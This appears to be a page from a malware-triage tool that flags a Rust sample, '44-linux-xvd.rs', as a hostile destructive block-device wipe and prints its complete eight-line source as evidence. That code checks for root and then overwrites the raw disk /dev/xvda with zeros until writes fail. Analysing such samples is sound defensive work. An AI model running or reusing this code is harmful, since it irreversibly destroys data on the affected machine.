Hostile 92% Download

44-linux-xvd.rs

Destructive block device wipe

Destructive overwrite of a raw block deviceRust OpenOptions opens a block device
SHA-256c4abbb4f0611c49d90b68ac9564f3c634e0730684db8aaa6926845b2ce7f43f1

Evidence

Rust OpenOptions opens a block device lines 1–8
1use std::fs::OpenOptions;
2use std::io::Write;
3use std::os::unix::fs::OpenOptionsExt;
4fn main() {
5 if unsafe { libc::geteuid() } != 0 { return; }
6 let mut f = OpenOptions::new().write(true).custom_flags(libc::O_RDWR).open("/dev/xvda").unwrap();
7 loop { if f.write_all(&[0u8; 4096]).is_err() { break; } }
8}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.